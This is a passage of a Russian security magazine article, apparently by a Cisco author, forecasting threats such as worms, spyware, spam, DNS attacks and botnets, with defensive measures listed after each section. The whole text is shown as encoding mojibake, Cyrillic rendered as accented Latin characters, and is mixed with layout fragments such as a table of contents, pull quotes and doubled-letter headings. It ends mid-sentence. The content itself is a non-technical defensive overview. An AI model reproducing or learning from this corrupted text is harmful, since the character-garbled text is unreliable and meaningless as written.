Ðàçóìååòñÿ, ðîñòà ñâîåãî áèçíåñà, êîòîðûé ìîæåò
áûòü äîñòèãíóò ìíîãèìè ñïîñîáàìè, îäèí èç êîòî-
ðûõ — óâåëè÷åíèå ïðîäóêòèâíîñòè ñîòðóäíèêîâ.
Ðåøèòü ýòî ìîæíî êàê óâåëè÷åíèåì äëèòåëüíîñòè
ðàáî÷åãî äíÿ, òàê è àêòèâèçàöèåé ñàìîé äåÿòåëü-

íîñòè ïîä÷èíåííûõ. Ïîñëåäíåìó ñïîñîáñòâóåò
êîíöåïöèÿ «âèðòóàëüíîãî îôèñà», êîòîðûé ïîäðà-
çóìåâàåò, ÷òî ðàáî÷åå ìåñòî òàì, ãäå íàõîäèòñÿ
ñîòðóäíèê, à íå òàì, ãäå øòàá-êâàðòèðà êîìïàíèè.
Ðåàëèçîâàòü ýòó êîíöåïöèþ ìîæíî, ñäåëàâ æèçíü
ñîòðóäíèêîâ ïîëíîñòüþ ìîáèëüíîé è îñíàñòèâ èõ
ìîáèëüíûìè òåëåôîíàìè, ñìàðòôîíàìè èëè ÊÏÊ,
ëýïòîïàìè ñ áåñïðîâîäíûì äîñòóïîì (Wi-Fi, Wi-
MAX, RFID è ò.ä.), IP-òåëåôîíèåé è ò.ä. 

Äðóãîé ñïîñîá óâåëè÷èòü äîõîäû — áûñòðåå
âûïóñêàòü íîâûå ïðîäóêòû íà ðûíîê. Ðåøèòü ýòó
çàäà÷ó ìîæíî, îòêðûâ äîñòóï ê ñâîèì ðåñóðñàì

8 ÊÎÃÄÀ ÍÀÑÒÓÏÈÒ ÇÀÂÒÐÀ

12 ÀÐÑÅÍÀË ÀÃÅÍÒÀ

18 ÑÌÅÐÒÅËÜÍÀß ÌÎÁÈËÜÍÎÑÒÜ

24 ØÏÈÎÍÑÊÈÅ ÈÃÐÛ

28 ÀÃÅÍÒÓÐÍÀß ÑÅÒÜ

30 ËÎÂËß ÍÀ ÆÈÂÖÀ

8/ 33

ÀÒÀÊÈ ÁÓÄÓÙÅÃÎ
Â ÊÀÍÓÍ ÍÎÂÎÃÎ ÃÎÄÀ ÏÐÈÍßÒÎ ÄÅËÀÒÜ ÏÐÎÃÍÎÇÛ ÍÀ ÁÓÄÓÙÅÅ, ÐÀÑÑÊÀÇÛÂÀß 
Î ÒÎÌ, ÊÀÊÈÅ ÓÃÐÎÇÛ È ÀÒÀÊÈ ÆÄÓÒ ÍÀÑ Â ÁËÈÆÀÉØÅÅ ÂÐÅÌß. ÍÎ ÂÅÄÜ ÄÎ ÍÅÃÎ 
ÅÙÅ ÍÅÑÊÎËÜÊÎ ÌÅÑßÖÅÂ! ÀÍ ÍÅÒ. ÍÀÏÐÈÌÅÐ, Ó ÍÀÑ Â ÊÎÌÏÀÍÈÈ ÍÎÂÛÉ ÔÈÍÀÍÑÎÂÛÉ 
ÃÎÄ ÍÀ×ÈÍÀÅÒÑß Â ÀÂÃÓÑÒÅ. 

Àëåêñåé Ëóêàöêèé 
alukatsk@cisco.com

êêîîããääàà 
ííààññòòóóïïèèòò ççààââòòððàà

ØÊÎËÀ 
ÁÎÉÖÀ
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ïàðòíåðàì, ïîñòàâùèêàì è äðóãèì ó÷àñòíèêàì
æèçíåííîãî öèêëà ïðîäóêòà. Èíûìè ñëîâàìè, ñåòü
êîìïàíèè ïåðåñòàåò áûòü ÷åòêî î÷åð÷åííîé, è åå
ïåðèìåòð ñòàíîâèòñÿ ðàçìûòûì. Äðóãàÿ çàäà÷à,
êîòîðàÿ òàêæå òðåáóåò ðåøåíèÿ, — ñòàíäàðòèçà-
öèÿ ìåòîäîâ äîñòóïà ê ðàçðîçíåííûì äàííûì,
õðàíÿùèìñÿ â áàçå äàííûõ. Åå ðåøàþò ñ ïîìîùüþ
ïðîòîêîëîâ òèïà SOAP, XML è ò.ä. Ïðàâäà, çà÷à-
ñòóþ çàáûâàÿ îá èõ áåçîïàñíîñòè. À òåïåðü ïîñìî-
òðèì, êàê ýòè ÈÒ-òåõíîëîãèè, ÿâëÿþùèåñÿ íàøèì
áëèæàéøèì áóäóùèì, ïðèâîäÿò ê ðàçâèòèþ óãðîç
áåçîïàñíîñòè...

âèðóñû càìè ïî ñåáå óæå íå ñäåëàþò
ñåðüåçíûé ðûâîê âïåðåä, òàê êàê èäåÿ êëàññè÷å-
ñêèõ âèðóñîâ, çàðàæàþùèõ ôàéëû íà îòäåëüíîì
êîìïüþòåðå, óæå âðÿä ëè ñìîæåò çàèíòåðåñîâàòü
«èññëåäîâàòåëåé». Äðóãîå äåëî — ÷åðâè, íî î íèõ
ïîçæå. Ñ äðóãîé ñòîðîíû, âèðóñû ïîêà íå èñ÷åð-
ïàëè âñåõ ñâîèõ âîçìîæíîñòåé. Òåì áîëåå ÷òî èõ
àâòîðû ïðåïîäíîñÿò âñå áîëüøå è áîëüøå ñþð-
ïðèçîâ, çàðàæàÿ òàêèå, êàçàëîñü áû, íåïîäâëàñò-
íûå èì ôîðìàòû, êàê PowerPoint, Acrobat Reader,
ìóëüòèìåäèà è ò.ä. Âñå ýòî ÿâëÿåòñÿ ñëåäñòâèåì
íåäîîöåíêè âîïðîñîâ áåçîïàñíîñòè ïðè ðàçðà-
áîòêå ôîðìàòîâ è ñòàíäàðòîâ. À ó÷èòûâàÿ, ÷òî
«ãîíêà âîîðóæåíèé» òîëüêî íàðàñòàåò, è ïðîèçâî-

äèòåëè ñòðåìÿòñÿ «âûáðàñûâàòü» íà ðûíêè åùå
ñûðîå ÏÎ, ìîæíî ïðåäñòàâèòü, ÷òî â áëèæàéøåì
áóäóùåì ÷èñëî ïîòåíöèàëüíî óÿçâèìûõ ôîðìà-
òîâ áóäåò òîëüêî âîçðàñòàòü. À çíà÷èò, ó çëîóìû-
øëåííèêîâ ïîÿâèòñÿ ìíîãî íîâîé ðàáîòû, êàê è ó
áîðöîâ ñ âèðóñàìè.

ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ:  ÀÊÒÈÂÍÎÅ ÈÑÏÎËÜÇÎÂÀ-

ÍÈÅ ÀÍÒÈÂÈÐÓÑÎÂ,  ÈÑÏÎËÜÇÎÂÀÍÈÅ ÒÎËÜÊÎ ÍÓÆ-

ÍÛÕ ÄËß ÐÀÁÎÒÛ ÏÐÎÃÐÀÌÌ, ÐÅÃÓËßÐÍÀß ÓÑÒÀÍÎÂ-

ÊÀ ÏÀÒ×ÅÉ,  ÏÐÅÄÂÀÐÈÒÅËÜÍÎÅ ÒÅÑÒÈÐÎÂÀÍÈÅ ÏÎ,

×ÒÅÍÈÅ ÁÞËËÅÒÅÍÅÉ ÏÎ ÈÍÔÎÐÌÀÖÈÎÍÍÎÉ ÁÅÇÎ-

ÏÀÑÍÎÑÒÈ.

÷åðâè. Áîëåå îïàñíû ÷åðâè, êîòîðûå ðàñïðî-
ñòðàíÿþòñÿ îò êîìïüþòåðà ê êîìïüþòåðó è çàðà-
æàþò öåëûå ñåòè, èñïîëüçóÿ óÿçâèìîñòè â ïðè-
êëàäíîì è ñèñòåìíîì ïðîãðàììíîì îáåñïå÷åíèè.
Îïàñíîñòü ãðîçèò â äâóõ íàïðàâëåíèÿõ: ðîñò ÷èñëà
êàíàëîâ ïðîíèêíîâåíèÿ (èëè, èíûìè ñëîâàìè, óÿç-
âèìîñòåé) è óâåëè÷åíèå ñêîðîñòè ðàñïðîñòðàíå-
íèÿ. Ñ ïåðâîé ïðîáëåìîé ìû, ê ñîæàëåíèþ, äåëàòü
íè÷åãî íå ìîæåì — ÷èñëî ïðîãðàìì è âåðñèé ÎÑ
ðàñòåò ñ íåâèäàííîé ñêîðîñòüþ, è ñïåöèàëèñòû ïî
òåñòèðîâàíèþ íå óñïåâàþò ïðîâåðÿòü âñå âîçìîæ-
íûå îòâåòâëåíèÿ â ýòîì áåñ÷èñëåííîì ìíîæåñòâå
ïðîãðàìì. À óæ ëàòàòü ýòè äûðû íà÷èíàþò òîëüêî
ïîñëå òîãî, êàê ïðîäóêò óæå ïðîäàåòñÿ â êàæäîì

êèîñêå íå ïåðâûé äåíü, è ìíîãèå ïîëüçîâàòåëè
óæå ïîñòðàäàëè îò «ðóê» ÷åðâåé.

Ñîãëàñíî èññëåäîâàíèÿì Ìèíèñòåðñòâà îáî-
ðîíû, êàæäûå 1000 ñòðîê êîäà ñðåäíåñòàòèñòè÷å-
ñêîé ïðîãðàììû ñîäåðæàò 15 îøèáîê (äëÿ ñðàâíå-
íèÿ — ñðåäíåãî ðàçìåðà áèçíåñ-ïðèëîæåíèå ñî-
äåðæèò 150000-250000 ñòðîê êîäà). Äèàãíîñòèêà
îäíîé îøèáêè òðåáóåò â ñðåäíåì 75 ìèíóò, à âîò
åå óñòðàíåíèå — óæå 6 ÷àñîâ. Ê òîìó æå ïðàêòèêà
íàì ãîâîðèò î òîì, ÷òî ðàçðàáîò÷èêè îáû÷íî ôî-
êóñèðóþòñÿ íà íîâûõ ôóíêöèÿõ, à íå íà óñòðàíå-
íèè ñòàðûõ îøèáîê.

Ñî ñêîðîñòüþ ðàñïðîñòðàíåíèÿ ÷åðâåé ïðî-
áëåìû íàñòóïÿò íå çàâòðà — îíè óæå íàñòóïèëè.
Ñîãëàñíî ñòàòèñòèêå, ñðåäíåå âðåìÿ ðàçðàáîòêè
«ïðîòèâîÿäèÿ» ó àíòèâèðóñíûõ âåíäîðîâ ñîñòà-
âëÿåò îêîëî 6 ÷àñîâ. À âåäü âèðóñíóþ ñèãíàòóðó
íàäî åùå äîñòàâèòü âñåì ñðåäñòâàì çàùèòû, ÷òî
çà÷àñòóþ òðåáóåò åùå íåñêîëüêèõ ÷àñîâ èëè äàæå
äíåé. Çà ýòî âðåìÿ ýïèäåìèÿ ÷åðâÿ óæå óñïåâàåò
ðàñïðîñòðàíèòüñÿ ïî âñåìó èíòåðíåòó è çàðàçèòü
ìíîãèå ìèëëèîíû óçëîâ. È ñêîðîñòü áóäåò òîëüêî
ðàñòè. Ñîãëàñíî èññëåäîâàíèÿì, ïðîâåäåííûì â
Àìåðèêå, âîçìîæíî ñîçäàíèå ÷åðâÿ, ñïîñîáíîãî
çàðàçèòü âåñü èíòåðíåò âñåãî çà 15 ìèíóò. Òî åñòü
òàêîé «ìîëíèåíîñíûé» ÷åðâü óñïååò 24 ðàçà

«îáîãíóòü» âñåìèðíóþ ñåòü, ïðåæäå ÷åì àíòèâè-
ðóñíûå ïðîèçâîäèòåëè óñïåþò âûïóñòèòü ñîîòâåò-
ñòâóþùóþ «çàïëàòêó».

CÏÎÑÎÁÛ ÇÀÙÈÒÛ:  ÈÑÏÎËÜÇÎÂÀÍÈÅ ÀÍÒÈÂÈ-

ÐÓÑÎÂ È ÑÈÑÒÅÌ ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊ,  ÐÅÃÓËßÐ-

ÍÀß ÓÑÒÀÍÎÂÊÀ ÏÀÒ×ÅÉ,  ÓÑÒÀÍÎÂÊÀ ÌÅÆÑÅÒÅÂÛÕ

ÝÊÐÀÍÎÂ (ÊÎÐÏÎÐÀÒÈÂÍÛÕ È ÏÅÐÑÎÍÀËÜÍÛÕ), ÏÐÅÄ-

ÂÀÐÈÒÅËÜÍÎÅ ÒÅÑÒÈÐÎÂÀÍÈÅ ÏÎ, ×ÒÅÍÈÅ ÁÞËËÅÒÅ-

ÍÅÉ ÏÎ ÈÍÔÎÐÌÀÖÈÎÍÍÎÉ ÁÅÇÎÏÀÑÍÎÑÒÈ.

spyware. ×åðâè è âèðóñû îïàñíû, íî îíè íå
íåñóò íèêàêîé êîììåð÷åñêîé âûãîäû ñâîèì ñîçäà-
òåëÿì (èëè ïðàêòè÷åñêè íå íåñóò). Äðóãîå äåëî —
ïðîãðàììû, îáúåäèíåííûå îáùèì òåðìèíîì
spyware (øïèîíñêîå ÏÎ). Óñòàíîâëåííûå íà êîì-
ïüþòåðå «æåðòâû», îíè âîðóþò êîíôèäåíöèàëü-
íóþ èíôîðìàöèþ è ïåðåñûëàþò åå âëàäåëüöàì
spyware. Ðàçâèòèå ýòîãî òèïà âðåäîíîñíîãî ÏÎ
ïîéäåò ïî ïóòè ðàñøèðåíèÿ êàíàëîâ åãî ïðîíèêíî-
âåíèÿ íà êîìïüþòåð — ïî÷òà, Instant Messaging
(íàïðèìåð, ICQ èëè Mirabilis), P2P (íàïðèìåð, Ka-
zaa èëè eDonkey), web-áðàóçåð è ò.ï. ×åì áîëü-
øèì êîëè÷åñòâîì êîììóíèêàöèîííûõ âîçìîæíî-
ñòåé ñòàíóò îáëàäàòü áóäóùèå êîìïüþòåðû, òåì
áîëüøå âîçìîæíîñòåé ïîÿâèòñÿ ó spyware.

Ñ Ï Î Ñ Î Á Û  Ç À Ù È Ò Û :  È Ñ Ï Î Ë Ü Ç Î Â À Í È Å  À Í Ò È -

ÂÈÐÓÑÎÂ,  ÑÈÑÒÅÌ ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊ È ÇÀÙÈ-

Ò Û  Î Ò  Ø Ï È Î Í Ñ Ê Î Ã Î  Ï Î ,  Ð Å Ã Ó Ë ß Ð Í À ß  Ó Ñ Ò À Í Î Â Ê À

Ï À Ò × Å É ,  Ó Ñ Ò À Í Î Â Ê À  Ì Å Æ Ñ Å Ò Å Â Û Õ  Ý Ê Ð À Í Î Â  ( Ê Î Ð -

Ï Î Ð À Ò È Â Í Û Õ  È  Ï Å Ð Ñ Î Í À Ë Ü Í Û Õ ) ,  Ï Ð Å Ä Â À Ð È Ò Å Ë Ü -

Í Î Å  Ò Å Ñ Ò È Ð Î Â À Í È Å  Ï Ð Î Ã Ð À Ì Ì Í Î Ã Î  Î Á Å Ñ Ï Å × Å -

Í È ß ,  × Ò Å Í È Å  Á Þ Ë Ë Å Ò Å Í Å É  Ï Î  È Í Ô Î Ð Ì À Ö È Î Í Í Î É

ÁÅÇÎÏÀÑÍÎÑÒÈ.

ñïàì — ýòî ïðîáëåìà, êîòîðàÿ ðàçäðàæàåò
áîëüøèíñòâî èç íàñ. È, íåñìîòðÿ íà ýòî, íè îäèí
èç ïðîèçâîäèòåëåé íå ñìîã ïðåäëîæèòü ðûíêó ðå-
øåíèå, «óáèâàþùåå» ñïàì ðàç è íàâñåãäà. Ñâÿçà-
íî ýòî ñ òåì, ÷òî ñïàìåðû íå îñòàíàâëèâàþòñÿ íà
äîñòèãíóòîì è âñåãäà èçîáðåòàþò íîâûå ìåòîäû
îáõîäà ñèñòåì çàùèòû îò ñïàìà: ïðåäíàìåðåííîå
èñïîëüçîâàíèå îøèáîê â ñëîâàõ («ñïèöåàëüíà äëÿ
âàç»), ïðîáåëû â ñëîâàõ («ñ ï å ö à ê ö è ÿ»), ÷åðå-
äîâàíèå ñòðî÷íûõ è çàãëàâíûõ áóêâ, èñïîëüçîâà-
íèå ñèìâîëîâ-ðàçäåëèòåëåé («ñ*ï*å*ö*à*ê*ö*è*ÿ»),
ïðåîáðàçîâàíèå òåêñòà â ãðàôè÷åñêèé ôàéë è ò.ä.

Ñòàëêèâàÿñü ñ ðàçëè÷íûìè ñèñòåìàìè çà-
ùèòû îò ñïàìà, ìîæíî âûäåëèòü äâà íåäîñòàòêà
(êîòîðûå, êñòàòè, åñòü è ó äðóãèõ ñðåäñòâ êîíòðîëÿ
âðåäîíîñíîãî êîíòåíòà — àíòèâèðóñîâ, ñèñòåì îá-
íàðóæåíèÿ àòàê è ò.ï.): ëîæíûå ñðàáàòûâàíèÿ è
íåñðàáàòûâàíèÿ. Â ïåðâîì ñëó÷àå ñèñòåìà áëîêè-
ðóåò ñîîáùåíèÿ, êîòîðûå íå ÿâëÿþòñÿ ñïàìîì.
ßðêèé ïðèìåð — ïðîåêò «Ïðîâåðü çäîðîâüå ñâîåé
ñåòè» (www.freescan.ru). Ïîñëå ðåãèñòðàöèè íà ñàéòå
ïîëüçîâàòåëþ, æåëàþùåìó ïðîòåñòèðîâàòü çàùè-
ùåííîñòü ñâîèõ èíòåðíåò-ðåñóðñîâ, ïðèõîäèò óâå-
äîìëåíèå ïî e-mail. Íî ÷àñòî ñëó÷àëîñü, ÷òî óâå-
äîìëåíèå âîñïðèíèìàëîñü êàê ñïàì è íå äîõîäè-
ëî äî àäðåñàòà. Âî âòîðîì ñëó÷àå ñèñòåìû ïðîïó-
ñêàëè ñïàì, ñ÷èòàÿ åãî áåçîáèäíûì ýëåêòðîííûì
ñîîáùåíèåì.

Ðåêëàìíûå ðàññûëêè íà ðóññêîì ÿçûêå
ïðåäñòàâëÿþò ñîáîé åùå áîëüøóþ ïðîáëåìó äëÿ
àíòèñïàìîâûõ ñèñòåì, ÷òî ñâÿçàíî ñ íàøåé ìîð-
ôîëîãèåé. Äàæå ðàçðàáîòàííûå â Ðîññèè ñèñòåìû
áëîêèðîâàíèÿ ñïàìà, èñïîëüçóþùèå ëèíãâèñòè÷å-
ñêèå, ãðàôè÷åñêèå, ñèãíàòóðíûå è èíûå ìåòîäû
èäåíòèôèêàöèè íåæåëàòåëüíûõ ìàññîâûõ ðàññû-
ëîê, ê ñîæàëåíèþ, íå ñïðàâëÿþòñÿ ñ ýòîé ïðîáëå-
ìîé. Ñîãëàñíî ïðîâåäåííîìó â 2005 ãîäó òåñòèðî-
âàíèþ ðîññèéñêèõ ñèñòåì «Ñïàìòåñò» è «Ñïàìî-
îáîðîíà», îíè íå ïîëíîñòüþ ðåøàþò ïðîáëåìó
ñïàìà (www.ifap.ru/as/050524d1.pdf). ×åãî óæ ãîâîðèòü
î çàïàäíûõ ðåøåíèÿõ. Ïî ñëîâàì Åâãåíèÿ Àëüòîâ-
ñêîãî, êîîðäèíàòîðà ïðîåêòà «Àíòèñïàì», «ôèëü-
òðû ìîãóò èñïîëüçîâàòüñÿ êàê âðåìåííàÿ ìåðà
äëÿ ñíèæåíèÿ îñòðîòû ïðîáëåìû ñïàìà, îäíàêî
íàñòîÿùèé çàñëîí íà åãî ïóòè ìîæåò ïîñòàâèòü
òîëüêî çàêîí è íåãàòèâíîå îòíîøåíèå ê ñïàìó ñî
ñòîðîíû îáùåñòâà».

Íî òàê ëè óæ íåðåøàåìà äàííàÿ ïðîáëåìà?
Åñòü ìåòîä, êîòîðûé ïîçâîëèò ñóùåñòâåííî ñíè-
çèòü îáúåì ñïàìà. Ïåðåíîñ îáîðîíèòåëüíûõ ðóáå-
æåé ñ ëèíèè îòäåëüíîé êîìïàíèè íà óðîâåíü îïå-
ðàòîðà ñâÿçè. Êîíå÷íî, òàêîé ïåðåíîñ äîëæåí ñî-
ïðîâîæäàòüñÿ è ñìåíîé ìåòîäîâ îáíàðóæåíèÿ
ñïàìà, âåäü ïðèìåíåíèå êëþ÷åâûõ ñëîâ, áåëûõ è
÷åðíûõ ñïèñêîâ â äàííîì ñëó÷àå òàêæå áóäåò íå

ÎÏÀÑÍÎÑÒÜ ÃÐÎÇÈÒ Â ÄÂÓÕ ÍÀÏÐÀÂËÅÍÈßÕ: 
ÐÎÑÒ ×ÈÑËÀ ÊÀÍÀËÎÂ ÏÐÎÍÈÊÍÎÂÅÍÈß È ÓÂÅËÈ×ÅÍÈÅ 
ÑÊÎÐÎÑÒÈ ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß
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ñòîëü ýôôåêòèâíûì. Âñïîìíè, êàê ðàññûëàåòñÿ
ñïàì. Ýòî äåëàåòñÿ ñïàìåðàìè íå ñî ñâîèõ ñîá-
ñòâåííûõ êîìïüþòåðîâ, à ÷åðåç çàðàíåå âçëîìàí-
íûå óçëû. È ÷èñëî ñîîáùåíèé ñ òàêèõ óçëîâ åæåä-
íåâíî èçìåðÿåòñÿ ñîòíÿìè. Áóäåò ëè îáû÷íûé
ïîëüçîâàòåëü îòïðàâëÿòü êàæäûé äåíü ñòîëüêî
ïèñåì? Âðÿä ëè. Ïîýòîìó ìîæíî ïîïðîáîâàòü êîí-
òðîëèðîâàòü ïîòîê ïî÷òîâîãî òðàôèêà ñ êàæäîãî
óçëà è, â ñëó÷àå ïðåâûøåíèÿ íåêîòîðîãî ïîðîãî-
âîãî çíà÷åíèÿ, ïðåäïðèíèìàòü îïðåäåëåííûå äåé-
ñòâèÿ: àâòîìàòè÷åñêè áëîêèðîâàòü òðàôèê, óâåäî-
ìëÿòü àäìèíèñòðàòîðà è ò.ï. Ïî òàêîìó ïðèíöèïó
äåéñòâóåò, íàïðèìåð, ñèñòåìà Cisco Service Con-
trol Engine. Ðàçóìååòñÿ, â äàííîì ñëó÷àå ñóùå-
ñòâóåò ïðîáëåìà ëîæíûõ ñðàáàòûâàíèé, íî îíà
ðåøàåòñÿ ãîðàçäî ïðîùå, ÷åì â ñëó÷àå ñ òðàäè-
öèîííûìè ìåòîäàìè çàùèòû îò ñïàìà.

Âîçìîæíî, ñî âðåìåíåì ñèòóàöèÿ ñóùå-
ñòâåííî óëó÷øèòñÿ, íî ïîêà ïðèõîäèòñÿ êîíñòàòè-
ðîâàòü, ÷òî ñïàìåðû áîëåå èçîáðåòàòåëüíû, ÷åì
èõ îïïîíåíòû. Ñïàì èñ÷åç áû ñàì, åñëè áû ìû, ðÿ-
äîâûå ïîëüçîâàòåëè, ïåðåñòàëè áû ïîêóïàòü ðå-
êëàìèðóåìûå òîâàðû. Íî, ñîãëàñíî ñòàòèñòèêå
êîìïàíèé Mirapoint è Radicati Group, 11% ïîëüçî-
âàòåëåé ïðèîáðåòàþò òîâàðû è óñëóãè, ðåêëàìè-
ðóåìûå â ìàññîâûõ ðàññûëêàõ. Çíà÷èò, ñïðîñ íà
íèõ åñòü. À ïîêà åñòü ñïðîñ, áóäåò è ïðåäëîæåíèå.

DNS èè ääðóãèå èèíôðàñòðóêòóðíûå ààòàêè. Êàê è
â ñëó÷àå ñî ñïàìîì, spyware-êîììåðöèÿ óïðàâëÿ-
åò è ìíîãèìè äðóãèìè àòàêàìè, íàïðèìåð, íà DNS.
Çà÷åì ëîìàòü êàêîé-ëèáî ñàéò, êîãäà ìîæíî ïîä-
ìåíèòü çàïèñü â òàáëèöå DNS, ÷òî ïîçâîëèò ïåðå-
íàïðàâèòü âåñü òðàôèê íà ïîäñòàâíîé IP-àäðåñ.
Ñåðüåçíóþ ïðîáëåìó ýòîò âèä íàïàäåíèé ïðåäñòà-
âëÿåò ïîòîìó, ÷òî îò íåãî íå ñïàñàþò íè ìåæñåòå-
âûå ýêðàíû, íè ñèñòåìû ïðåäîòâðàùåíèÿ àòàê, êî-
òîðûå óñòàíàâëèâàþòñÿ ïåðåä çàùèùàåìûì ñàé-
òîì. Áîëåå òîãî, ýòè ñðåäñòâà äàæå íå çàôèêñèðó-
þò äàííóþ àòàêó, òàê êàê ïîñëåäíèå íàïðàâëåíû
íå íà ñàì çàùèùàåìûé ñàéò, à íà ñèñòåìó, åãî îá-
ñëóæèâàþùóþ.

Àíàëîãè÷íàÿ ñèòóàöèÿ ìîæåò âîçíèêíóòü,
êîãäà àòàêà íàïðàâëåíà íà ñåòåâîå îáîðóäîâàíèå
(ìàðøðóòèçàòîðû è êîììóòàòîðû), ÷åðåç êîòîðûå
ïðîõîäèò òðàôèê. Íåäîîöåíêà äàííîé ïðîáëåìû
ìîæåò ïðèâåñòè ê èçìåíåíèþ ìàðøðóòîâ ñëåäîâà-
íèÿ ñåòåâûõ ïàêåòîâ (à çíà÷èò, èõ ïåðåõâàòó è âîç-
ìîæíîé ìîäèôèêàöèè) è äàæå èõ áëîêèðîâàíèþ,
÷òî ïîâëå÷åò çà ñîáîé «îòêàç â îáñëóæèâàíèè».

ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ:  ÂÑÒÐÎÅÍÍÛÅ ÌÅÕÀÍÈÇÌÛ

ÇÀÙÈÒÛ ÈÍÔÐÀÑÒÐÓÊÒÓÐÍÎÃÎ ÎÁÎÐÓÄÎÂÀÍÈß, ÏÐÀ-

ÂÈËÜÍÛÉ ÄÈÇÀÉÍ ßÄÐÀ ÑÅÒÈ ÎÏÅÐÀÒÎÐÀ ÑÂßÇÈ,

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÈÑÒÅÌ ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊ

ÍÀ ÓÐÎÂÍÅ ÎÏÅÐÀÒÎÐÀ ÑÂßÇÈ.

áîòíåòû. Åñëè çàãîâîðèëè î DoS-àòàêàõ, òî
íåëüçÿ íå âñïîìíèòü î áîòíåòàõ, êîòîðûå âûâîäÿò
ñïàì è DoS-àòàêè íà íîâûé óðîâåíü. Åñëè ðàíüøå
çëîóìûøëåííèêó ïðèõîäèëîñü áîÿòüñÿ, ÷òî åãî
îáíàðóæàò, êîãäà îí áóäåò ðåàëèçîâûâàòü íàïàäå-
íèå ñî ñâîåãî êîìïüþòåðà, òî ñåãîäíÿ ñèòóàöèÿ èç-
ìåíèëàñü. Äîñòàòî÷íî àðåíäîâàòü áîòíåò èç òûñÿ-

÷è-äðóãîé ìàøèí è «äàòü êîìàíäó», âñå îñòàëüíîå —
äåëî òåõíèêè. Òàê êàê çà ìíîãèìè íàïàäåíèÿìè
ñòîèò êîììåð÷åñêàÿ âûãîäà, òî áîòíåòû áóäóò
òîëüêî ðàçâèâàòüñÿ ïî ïóòè óâåëè÷åíèÿ ÷èñëà ìà-
øèí â ñåòè «çîìáè» è ðàçðàáîòêå íîâûõ ìåòîäîâ
óïðàâëåíèÿ áîòíåòîì, ïîìèìî ïðåäâàðèòåëüíîãî
ïðîãðàììèðîâàíèÿ, IRC-êàíàëîâ è ò.ï.

ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ:  ÂÑÒÐÎÅÍÍÛÅ ÌÅÕÀÍÈÇÌÛ

ÇÀÙÈÒÛ ÈÍÔÐÀÑÒÐÓÊÒÓÐÍÎÃÎ ÎÁÎÐÓÄÎÂÀÍÈß,  ÈÑ-

Ï Î Ë Ü Ç Î Â À Í È Å  Ñ È Ñ Ò Å Ì  Ï Ð Å Ä Î Ò Â Ð À Ù Å Í È ß  À Ò À Ê  Í À

Ó Ð Î Â Í Å  Î Ï Å Ð À Ò Î Ð À  Ñ Â ß Ç È ,  Ñ Ê À Í È Ð Î Â À Í È Å  Ê Î Ì -

ÏÜÞÒÅÐÎÂ.

äðóãèå ààòàêè. Ìû ïåðå÷èñëèëè ëèøü ìàëóþ
òîëèêó òåõ àòàê, êîòîðûå íàì óãðîæàþò â áëèæàé-
øåì áóäóùåì. Â ñðåäíåñðî÷íîé ïåðñïåêòèâå íàì
ïðèäåòñÿ çàäóìûâàòüñÿ î çàùèòå ïîëó÷àþùèõ âñå
áîëüøåå ðàñïðîñòðàíåíèå áåñïðîâîäíûõ óñòðîé-
ñòâàõ — ÊÏÊ, ñìàðòôîíàõ, ìîáèëüíûõ òåëåôîíàõ,
ëýïòîïàõ è ò.ï. Îíè ïåðåñòàíóò áûòü ìîäíîé èã-
ðóøêîé è ïðî÷íî âîéäóò â àðñåíàë áîëüøèíñòâà
äåëîâûõ ëþäåé. À çíà÷èò, ó çëîóìûøëåííèêîâ ïî-
ÿâèòñÿ íîâàÿ öåëü ïðèëîæåíèÿ ñèë. Ó÷èòûâàÿ íå-
áîëüøèå ðàçìåðû äàííûõ óñòðîéñòâ è íåõâàòêó
ðåñóðñîâ, ìîæíî áûòü óâåðåííûì, ÷òî ýôôåêòèâ-
íûå ñðåäñòâà çàùèòû äëÿ ìîáèëüíûõ óñòðîéñòâ
áóäóò ðàçðàáîòàíû íåñêîðî. 

Äðóãàÿ ïðîáëåìà ñâÿçàíà ñ ïîðòàòèâíûìè
óñòðîéñòâàìè, êîòîðûå ìîãóò ñëóæèòü êàê êàíà-
ëîì óòå÷êè èíôîðìàöèè, òàê è êàíàëîì ïðîíèêíî-
âåíèÿ óãðîçû â çàùèùàåìóþ ñåòü. Åñëè ÊÏÊ èëè
ñìàðòôîí åùå ìîæíî êàê-òî çàùèòèòü, òî ÷òî äå-
ëàòü ñ ôëåøêàìè, iPod’àìè, öèôðîâûìè êàìåðà-
ìè è äðóãèìè ïîðòàòèâíûìè óñòðîéñòâàìè — íå
ñîâñåì ïîíÿòíî. Óñòàíîâèòü ñðåäñòâà çàùèòû íà
íèõ íå âñåãäà âîçìîæíî, à âîò çàùèùàòü èõ íàäî
îáÿçàòåëüíî.

Íå ìåíåå àêòóàëüíûìè ÷åðåç íåñêîëüêî ëåò
ñòàíóò àòàêè íà IP-òåëåôîíèþ (ïðîòîêîëû SIP è
H.323), òåõíîëîãèè RFID, SOA, XML, SOAP è ìíî-
ãèå äðóãèå. Íî, ê ñ÷àñòüþ, ïîêà ýòè íîâûå ñòàíäàð-
òû íå òàê ðàñïðîñòðàíåíû â ìèðå, è ó ðàçðàáîò÷è-
êîâ ñðåäñòâ çàùèòû åñòü âðåìÿ äëÿ ðàçðàáîòêè
äåéñòâåííûõ ìåòîäîâ ïðîòèâîäåéñòâèÿ. À ïîêà
íàì îñòàåòñÿ áîðîòüñÿ ñ óæå ñòàâøèìè ïðèâû÷íû-
ìè íàïàäåíèÿìè è óãðîçàìè, íå çàáûâàÿ ïðè ýòîì
î ïðàâèëüíîì ïðèìåíåíèè ñðåäñòâ çàùèòû.

ôèíàëüíàÿ ððåêîìåíäàöèÿ. Ãîâîðÿ î ïðàâèëü-
íîì ïðèìåíåíèè, íåëüçÿ íå óïîìÿíóòü îäèí äîñòà-
òî÷íî âàæíûé àñïåêò. Ðå÷ü èäåò îá îáíîâëåíèè
ñðåäñòâ îòðàæåíèÿ àòàê (àíòèâèðóñîâ, IPS, àíòèñ-
ïàìà, êîíòðîëÿ ñîäåðæèìîãî è ò.ä.). Íåðåäêî ïðè-
õîäèòñÿ âèäåòü, ÷òî ïîëüçîâàòåëè îáíîâëÿþò ñâîè
